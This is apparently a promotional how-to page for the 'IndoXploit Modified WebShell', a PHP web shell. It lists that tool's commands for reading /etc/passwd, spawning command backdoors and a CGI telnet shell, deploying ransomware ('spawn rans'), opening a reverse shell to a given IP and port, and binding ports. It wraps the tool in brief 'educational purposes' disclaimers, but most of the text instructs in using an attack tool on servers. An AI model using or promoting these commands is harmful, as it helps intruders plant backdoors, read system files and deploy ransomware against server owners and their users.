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IndoXploit Modified WebShell: A Comprehensive Guide

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Note: This guide is intended for educational purposes and should only be used responsibly by individuals with permission to access the system.


IndoXploit Modified WebShell is a powerful tool designed for advanced web management and penetration testing. This guide will walk you through its features, commands, and practical usage. 🚀


📌 What is IndoXploit Modified WebShell?

The IndoXploit Modified WebShell is a web-based shell ability that allows users to execute commands, manage files, and perform various tasks on a server. It is commonly used by cybersecurity professionals for testing and managing web servers. However, it should be used responsibly and only on systems you own or have explicit permission to test. 🔐


⚙️ Key Features

  • File Management: Read, create, and manage files on the server. 📂
  • Reverse Shell: Establish a backdoor connection to the server. 🔄
  • Exploitation Abilities: Includes local root exploits, ransomware, and more. 💥
  • System Information: Retrieve PHP version, file system details, and more. 🖥️
  • Custom Commands: Execute various pre-defined commands for specific tasks. 🧑‍💻

📝 How to Use IndoXploit Modified WebShell

Below is a step-by-step guide on how to use the IndoXploit WebShell effectively:


1. Reading Files 📖

To read a file, use the following command:

rf [filename]

Example:

rf /etc/passwd

2. Spawning Files 🔨

Use the spawn command to create various types of files or execute backdoor commands:

  • spawn webconsole – Execute command backdoor.
  • spawn cgitelnet1 – CGI Telnet Shell 1.
  • spawn rans – Deploy ransomware.
  • spawn phpinfo – Retrieve PHP system information.

3. Reverse Shell (Backconnect) 🔁

To establish a reverse shell connection, use the following syntax:

rvr bc [IP] [PORT] [TYPE]

Example:

rvr bc 127.0.0.1 1337 bash

4. Binding Ports 🔒

To bind a port, use the following syntax:

rvr bp [PORT] [TYPE]

Example:

rvr bp 1337 perl

5. Logging Out 🚪

To log out from the shell, use the command:

logout

⚠️ Best Practices and Warnings

While using the IndoXploit WebShell, keep the following in mind:

  • Always use this ability responsibly and only on systems you have permission to access.
  • Ensure your activities comply with local laws and regulations. ⚖️
  • Regularly update your abilities to avoid vulnerabilities. 🔐

📚 Conclusion

The IndoXploit Modified WebShell is a versatile tool for web server management and penetration testing. By following this guide, you can effectively utilize its features while adhering to ethical practices. 🌐


🚨 Warning

This tool should ONLY be used in environments where you have explicit permission. Unauthorized access or testing can be illegal and unethical.


💬 Feedback and Contributions

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For further queries, you can reach out via help@r00t-shell.com.

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